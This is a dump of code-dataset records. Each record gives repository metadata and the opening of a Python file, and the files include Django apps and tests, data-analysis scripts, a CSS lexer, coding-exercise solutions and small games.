... | true |
2cb536eb3ffc385278a9f7a1673f34141d6c0f8f | jkjk007/STMGPU | /Host Libs/Desktop/graphicsTest.py | UTF-8 | 5,617 | 2.671875 | 3 | [
"MIT"
] | permissive | #!/usr/bin/python
#coding:utf-8
#
# For STM32_sGPU Project
# Created: 12.08.2018
# Last edit: 17.08.2018
#
# author: Antonov Alexandr (Bismuth208)
#
# Tested on:
# Python 2.7.15 and PySerial 3.4
# Python 3.6.4 and PySerial 3.2.1
# import time
from random import *
from collections import OrderedDict
from STMsGPU imp... | true |
6fb2e37d1d520e4f68d645ec669991842ca7d2e4 | wamsiv/AmazonPR | /complete1.py | UTF-8 | 564 | 3.25 | 3 | [] | no_license | import json
# import csv
# json_list = []
c= 0
# headers = True
with open('complete.json','r') as jsonfile:
print('Reading Json')
for line in jsonfile:
# # if c == 10:
# # break
# json_list.append(json.loads(line))
c+=1
# if c%100000 == 0:
# print(c)
print('Total: ',c)
# print('Writing to csv!!'... | true |
8a29e9f92a72cd3eceb26e4a0a162ff462b4b2fd | khaleeque-ansari/seniority-finder | /parsers/education_parser.py | UTF-8 | 1,788 | 2.921875 | 3 | [] | no_license | from datetime import datetime
from dateutil import parser
import numpy as np
DEGREES = ['b', 'm', 'a', 'c', 'd', 'p', 's', 'h', 'e', 'g', 'i', 'f', 't', 'l', 'n']
def convert_lower_case(data):
return np.char.lower(data)
def remove_punctuation(data):
symbols = "!\"#$%&()*+-./:;<=>?@[\]^_`{|}~\n"
for i i... | true |
fe7ad59c4cbac5da2e75bd8e540c036442d724c5 | mpesesky/MosaicPlasmids | /lengthDistribution.py | UTF-8 | 928 | 2.671875 | 3 | [] | no_license | import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
df = pd.read_table("MasterTable.txt", sep="\t", index_col=0)
binBoundaries = range(0, 2200000, 50000)
mean = df['length'].mean()
median = df['length'].median()
print("Plasmid mean length:{}bp\nPlasmid median length:{}bp".format(mean, median))
df... | true |
706ecc18c5b61832700cb1aa9a84541e3365f717 | OmarFateh/tefit-api | /blog/utils.py | UTF-8 | 1,095 | 3.59375 | 4 | [] | no_license | import re
import math
from django.utils.html import strip_tags
from django.utils.timesince import timesince
def count_words(html_string):
"""
Take html string, strip html tags and count its words.
"""
word_string = strip_tags(html_string)
matching_string = re.findall(r'\w+', word_str... | true |
bb16d7cf8fde190e6211dda3dff75b5eb2e44e77 | menelson/HousingPriceRegressor | /HousingAnalysis.py | UTF-8 | 6,842 | 3.015625 | 3 | [] | no_license | import os
import pandas as pd
import numpy as np
# Helpers
from HelperFunctions import *
from HelperClasses import *
#Sci-Kit learn imports for the ML implementation
from sklearn.model_selection import StratifiedShuffleSplit
from sklearn.preprocessing import StandardScaler
from sklearn.impute import SimpleImputer
fr... | true |
ee38b8c5a904e9d00a1bb9aaafa6173818b8598c | tnakatani/python_workout | /test/dicts_sets/test_dicts_sets.py | UTF-8 | 8,775 | 2.90625 | 3 | [] | no_license | import pytest
import mock
from src.dicts_sets.dicts_sets import *
from collections import Counter, defaultdict
from io import StringIO
######################################################################
# Menu Items Exercise
def test_order_nothing(monkeypatch, capsys):
monkeypatch.setattr('sys.stdin', StringI... | true |
8042df70afe32fd91da8f61999f2663fa778ac50 | fonttools/ufoLib2 | /tests/objects/test_component.py | UTF-8 | 1,221 | 2.6875 | 3 | [
"Apache-2.0"
] | permissive | from __future__ import annotations
import pytest
from ufoLib2.objects import Component, Glyph, Layer
@pytest.fixture
def layer() -> Layer:
a = Glyph("a")
pen = a.getPen()
pen.moveTo((0, 0))
pen.curveTo((10, 10), (10, 20), (0, 20))
pen.closePath()
layer = Layer(glyphs=[a])
return layer
... | true |
d303a43383922a0dcaea811d7fea039524eebfc9 | CharlieWinters/Stellaru | /backend/engine/extraction/extractors/pop_extractor.py | UTF-8 | 1,425 | 2.78125 | 3 | [] | no_license | from .extractor import Extractor
class PopExtractor(Extractor):
def __init__(self, isolation_layer):
super().__init__(isolation_layer)
def data_key(self):
return 'pops'
def extract_data(self, state, empire):
planets = self.isolation_layer.get_planets(state, empire)
pops =... | true |
c99c4920a1ab71239d3ad3b9caa50f64565b7d8c | jdhandsome/joe-h-supersaiyan | /currency_converter.py | UTF-8 | 2,458 | 3.609375 | 4 | [] | no_license | import requests
print('\n', 'converstion values: ','\n', '\n','CAD', 'HKD', 'ISK', 'PHP', 'DKK', 'HUF', 'CZK', 'GBP', 'RON', 'SEK', 'IDR', 'INR', 'BRL', 'RUB', 'HRK', 'JPY', 'THB', 'CHF', 'EUR', 'MYR', 'BGN', 'TRY', 'CNY', 'NOK', 'NZD', 'ZAR', 'USD', 'MXN', 'SGD', 'AUD', 'ILS', 'KRW', 'PLN', "\n")
test_list = ['C... | true |
d99c2b4af0adeaf3c02624173e844bc203422043 | NWILLROCKU/Leetcode | /2021/0112b.py | UTF-8 | 1,453 | 3.5625 | 4 | [] | no_license | # Definition for singly-linked list.
class ListNode(object):
def __init__(self, val=0, next=None):
self.val = val
self.next = next
l1 = ListNode(2)
l1_head = l1
l1.next = ListNode(4)
l1_nonhead = l1.next
l1_nonhead.next = ListNode(3)
l2 = ListNode(5)
l2_head = l2
l2.next = ListNode(6)
l2_nonhead =... | true |
75dfd696149a86448e192197ef79741c69fb5cd2 | cristianpb/PresentationTechnique | /scripts/histogram_equalization/hist_equalization_color.py | UTF-8 | 1,385 | 2.890625 | 3 | [] | no_license | # import opencv
import cv2
import matplotlib.pyplot as plt
import seaborn as sns
# Read image
img = cv2.imread('img_07473.jpg')
img_yuv = cv2.cvtColor(img, cv2.COLOR_BGR2YUV) # transform to YUV
hist = cv2.calcHist(img_yuv,[0],None,[256],[0,256]) # histogram for original image
img_rgb = cv2.cvtColor(img_yuv, cv2.COL... | true |
46aa7135b8f414233b7995ef86a4a19d3a365419 | Zelamkh4/edu | /acmp/1217. Контроперация.py | UTF-8 | 1,284 | 3.5625 | 4 | [] | no_license | """
Контроперация
(Время: 1 сек. Память: 16 Мб Сложность: 17%)
Хакер Василий получил доступ к классному журналу и хочет заменить все свои минимальные оценки на максимальные.
Напишите программу, которая заменяет оценки Василия, но наоборот: все максимальные – на минимальные.
Входные данные
Первая строка входного файл... | true |
6c1ef25bfea9e27c0a14dac0581fc12ae169e597 | jakesokol1/deeplearningfinal | /models/preprocess.py | UTF-8 | 8,517 | 2.84375 | 3 | [] | no_license | import numpy as np
from functools import reduce
import itertools
from .subject_graph import SubjectGraph
#tuple_line: takes a line and casts it as a list, as well as
def tuple_line(line):
splitter = [x.strip() for x in line.split(',')]
return splitter
#splitter = ['sub','emotion','x1','y1','rt','study']
... | true |
d88c42538f8df9a122d5461ce8f6f9319d6199c0 | SergioEGGit/Project_Lexical-Syntactic_Analyzer_For_HTML_CSS_JS_RMT_SEG | /Source Code/src/Analizadores/AnalizadorLexicoCSS.py | UTF-8 | 65,685 | 2.6875 | 3 | [] | no_license | # ---------------------------------------------------Imports------------------------------------------------------------
import re
from tkinter.messagebox import showinfo, askyesno
from src.Design import Objetos
from src.Metodos import ColorearTexto, Utilitarios
from src.Reportes import ReporteErrores
from src.Variab... | true |
be8f5e7a87315a4473409d7fa929c33373d3e28a | AdamC66/pheedloop-interview-challenges-12_9_19 | /q1_attendees.py | UTF-8 | 693 | 3.40625 | 3 | [] | no_license |
# Absent Attendees
# Given a list of attendee ids for attendees who have registered for an event and a list of attendee ids
# for attendees who have checked into an event, return the list of attendees who have not checked in.
# absentAttendees(registeredAttendees, checkedInAttendees)
# // [509, 672]
registeredAtte... | true |
1f1727f1bff5f88a2e0e141dce8160a81e351b2c | teresadatta/Stretch-Recommendation-App- | /ml/mlcoding.py | UTF-8 | 1,260 | 2.75 | 3 | [] | no_license | import pandas as pd
from sklearn.tree import DecisionTreeClassifier
from sklearn.model_selection import train_test_split
from sklearn.metrics import confusion_matrix
import numpy as np
from sklearn.utils import resample
import pickle
from sklearn import preprocessing
sv = pd.read_csv("survey.csv")
ox = np.array(sv['fs'... | true |
ca447f0129fd174eca39f09108ff732763ca6db4 | temirbayeva/sql_python | /function/func10.py | UTF-8 | 224 | 2.96875 | 3 | [] | no_license | def check(login,password):
if login=='admin' and pasword=='qwerty':
return ('Authentication completed')
else:
print ('Invalid login or password')
login=input()
password=()
check(login,password) | true |
c89bc715e95419ba4f058232910ae3a77c50cfad | gcruzgar/migration | /scripts/total_migration.py | UTF-8 | 2,229 | 3.328125 | 3 | [
"MIT"
] | permissive | #!/usr/bin/env python3
"""
This script displays the net migration including external migration.
However, it does not take into account migration leaving the country.
"""
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import geopandas as gpd
from utils import uk_plot
def total_migration():
... | true |
ae89d2c24521f98af71308f1f3138e43dc0c6332 | baiqingwa/new_script | /week_10_API_learn/testcases/test_bidloan.py | UTF-8 | 2,791 | 2.65625 | 3 | [] | no_license | # -*- coding: utf-8 -*-#
# Name: test_bidloan
# Author: 白庆
# Email: 364164232@qq.com
# Time: 2019/4/24 0024
import unittest
from ddt import ddt,data
from week_10_API_learn.common.Do_excel import DoExcel
from week_10_API_learn.common.contents_ml import case_file
from week_10_API_learn.common... | true |
c5f270bf1503b3d18d9940c1ca035fb06733e85f | draj1010/Django_first | /mysite/registration/forms.py | UTF-8 | 1,627 | 2.546875 | 3 | [] | no_license | from django import forms
from django.core import validators
def check_size(value): #cstm validator
if len(value) < 6:
raise forms.ValidationError("the Password is too short")
class SignUp(forms.Form):
first_name = forms.CharField(initial = 'First Name',)
last_name = forms.CharField(validator... | true |
9b360b32cac91506c49db5044dfc652a09a1b872 | jennyChing/onlineJudge | /12442.py | UTF-8 | 3,176 | 3.953125 | 4 | [] | no_license | '''
function - counting cycle
12442 - Forwarding Emails
Input
The first line of input will contain T (≤ 20) denoting the number of cases. Each case starts with a line containing an integer N (2 ≤ N ≤ 50000) denoting the number of Martians in the community. Each of the next N lines contains two integers: u v (1 ≤ u, ... | true |
72b8623109fc57ff38e8f6df8b919ecdf1db557d | VVShatokhina/my-homeworks | /hw3(prog)/вариант1.py | UTF-8 | 273 | 3.515625 | 4 | [] | no_license | word=input('Введите слово: ')
words=[]
while word !='':
for i in word:
i=word[::-1]
for n in i:
n=i[:-3]+i[-2]+i[-1]
words.append(n)
word=input('Введите слово: ')
for m in words:
print(m)
| true |
3b90eb3b6d089f22b0c62194d741dbda6c1845b9 | UnblockedByOps/arsenal | /client/arsenalclient/interface/data_centers.py | UTF-8 | 2,395 | 2.71875 | 3 | [
"Apache-2.0"
] | permissive | '''Arsenal client DataCenters class.'''
import logging
from arsenalclient.interface.arsenal_interface import ArsenalInterface
LOG = logging.getLogger(__name__)
class DataCenters(ArsenalInterface):
'''The arsenal client DataCenters class.'''
def __init__(self, **kwargs):
super(DataCenters, self).__ini... | true |
b10ee2df0d4126d74858ba5e543520ad52fa5ed8 | chuandu2/UsedCar_Price_Predictor_APP | /test/test.py | UTF-8 | 5,761 | 2.53125 | 3 | [] | no_license | """
Create date: 06/10/19
@author: SophieDu
"""
import os
import warnings
warnings.filterwarnings('ignore')
import sys
sys.path.insert(0, '../MSiA-ValueChain-WebApp-repo/src')
import pytest
import numpy as np
import logging
import re
import argparse
import pickle
import glob
import boto3
import yaml
import pandas as pd... | true |
de2ae639294b430c710daf141db1f2e5b4372eea | Jaleksi/Pygame-samples | /samples/puu.py | UTF-8 | 2,794 | 3.265625 | 3 | [
"MIT"
] | permissive | import pygame
import math
from random import randint
from numpy import interp
#
# INPUT: SPACE = NEW TREE
#
pygame.init()
leveys = 800
korkeus = 600
display = pygame.display.set_mode((leveys, korkeus))
pygame.display.set_caption("Puu")
clock = pygame.time.Clock()
oksat = []
kirsikat = []
class Oksa:
def __init_... | true |
18b0da5a87ed27c3ad8b23066d0d5d209ebc5bd8 | sjshashank31/Hangman-using-python | /wecodeinpython.py | UTF-8 | 3,086 | 3.890625 | 4 | [] | no_license | import random
def get_word():
words = [word.upper() for word in ['python',
'java', 'wecodeinpython', 'Ruby']
]
word = words[random.randint(0, len(words)-1)]
return word
def add_spaces(word):
word = " ".join(word)
return word
def draw_hangman(num_wrong):
if num_wron... | true |
3993008215b0e0de8b5d4ad72302c4a47c31184c | csepreghy/spectral_analysis | /spectral_analysis/data_preprocessing/data_preprocessing.py | UTF-8 | 26,820 | 2.625 | 3 | [
"MIT"
] | permissive | import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import sys
import pickle
from itertools import islice
from tqdm.auto import tqdm
from skimage import io, filters, feature
from scipy import ndimage, interpolate
from spectral_analysis.plotify import Plotify
import pathlib
import os
CUTOFF_MIN = ... | true |
996d9bc270491f06dd5b462a1a9368f22e2756a0 | jacksonyoudi/python-note | /notebook/3-tier_architecture/python/object6.py | UTF-8 | 1,240 | 3.6875 | 4 | [] | no_license | #!/usr/bin/env python
# coding: utf8
class PositiveNum(object):
def __init__(self, value):
self.val = value
def __get__(self, instance, owner):
# instance = a, b
owner = self.val
print "__get__", instance, owner
return self.val
def __set__(self, instan... | true |
290032282ac8bc81c57498de7ed4d0b2078084f7 | dhruvaljavia/coding_with_python | /collatz_seq.py | UTF-8 | 349 | 3.765625 | 4 | [] | no_license | def collatz(number):
a=int(number)
if a%2 == 0:
n=a//2
else :
n=a*3+1
print(n)
return n
print('Enter the starting number of collatz sequence:')
num=int(input())
print('The collatz sequnce is :')
print(num)
while num!=1:
num=collatz(num)
print('The collatz conj... | true |
f6e5c4e3811141bf976bafdbbf36c798abfd6208 | johannesssf/django-challenge-001 | /api/tests/test_integration.py | UTF-8 | 22,018 | 2.515625 | 3 | [] | no_license | from django.contrib.auth.models import User
from django.urls import reverse
from rest_framework import status
from rest_framework.authtoken.models import Token
from rest_framework.test import APITestCase
from api.models import Article, Author
class SignUpLoginTestCase(APITestCase):
def setUp(self):
self.... | true |
807f945e819f36be3a1c72af1e54408e36d0594e | forksbot/byceps | /tests/unit/util/test_authorization.py | UTF-8 | 1,020 | 2.765625 | 3 | [
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | """
:Copyright: 2006-2021 Jochen Kupperschmidt
:License: Revised BSD (see `LICENSE` file for details)
"""
import pytest
from byceps.util.authorization import create_permission_enum
@pytest.mark.parametrize(
'key',
[
('user' ),
('board_topic'),
],
)
def test_key(key):
enum = cre... | true |
3545719a1370ab4cc49da62857148c89839aedf7 | greenday8426/big_data_web | /4일차 20180131/줄 바꾸기.py | UTF-8 | 96 | 2.640625 | 3 | [] | no_license | print("한행입니다. 또 한행입니다.")
print("한행입니다. \n또 한행입니다.")
| true |